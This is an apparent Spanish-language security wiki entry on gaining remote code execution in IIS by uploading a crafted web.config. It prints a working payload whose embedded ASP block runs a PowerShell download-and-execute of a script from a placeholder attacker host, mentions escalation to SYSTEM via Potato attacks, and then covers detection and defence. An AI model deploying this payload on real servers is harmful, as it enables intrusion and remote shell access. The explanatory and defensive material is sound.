the_open_door
café
ESEN
← Volver al índice

web.config RCE on IIS

En IIS, el fichero web.config no es un fichero de datos cualquiera: es el fichero de configuración por directorio del servidor. IIS lo lee y lo procesa cuando atiende peticiones de esa carpeta. Y, por diseño, un web.config puede embeber código ASP clásico (bloques <%...%>) que el servidor ejecuta. Esa combinación convierte una subida aparentemente inocua en ejecución remota de código.

El escenario típico. Una aplicación tiene un uploader que filtra extensiones (.php, .aspx, .exe bloqueadas) pero deja pasar .config porque "no es código". Si el atacante puede subir un web.config a una carpeta que IIS sirva, gana RCE sin necesidad de subir un .aspx.

El truco del web.config. El fichero declara un handler y un parser ASP, y dentro mete el código. La prueba de concepto clásica calcula 1 + 2 para confirmar la ejecución antes de pasar a un payload real:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*"
              modules="IsapiModule"
              scriptProcessor="%windir%\system32\inetsrv\asp.dll"
              resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<%
Set co = CreateObject("WScript.Shell")
Set cte = co.Exec("cmd /c powershell IEX(New-Object Net.WebClient).downloadString('http://<ip>/ps.ps1')")
Response.write(cte.StdOut.Readall())
%>

Al pedir /<folder>/web.config, el código se ejecuta: primero el 1+2 (devuelve 3), luego un downloader de reverse shell. Es un caso particular de subida de fichero a ejecución por bypass de la allowlist de extensiones.

Dónde recae. El código corre en el contexto de la cuenta de servicio de IIS (un Application Pool Identity), que por defecto lleva SeImpersonatePrivilege. De ahí el salto casi automático a SYSTEM con un ataque tipo Potato.

Cómo detectarlo. La firma en disco es la aparición de un web.config (o .config) en un directorio de subida que no debería tener uno (FIM), sobre todo si contiene bloques <% ... %> con WScript.Shell/Exec. En el log de IIS, una petición GET /<carpeta_subidas>/web.config que devuelve contenido ejecutado (no el 404 esperado) es el disparo. La confirmación es w3wp.exe lanzando cmd/powershell (4688/Sysmon 1 con ppid=w3wp) y una descarga saliente del .ps1. El salto posterior a SYSTEM vía Potato se detecta como su familia (SeImpersonate/Potato).

Defensa. No basta con filtrar extensiones: hay que validar el contenido y, sobre todo, servir los ficheros subidos desde una carpeta sin permiso de ejecución de scripts (handlers accessPolicy sin Script). Tratar web.config como lo que es (configuración ejecutable) y nunca permitir que un usuario lo deposite en una ruta servida.

Máquinas donde se aplica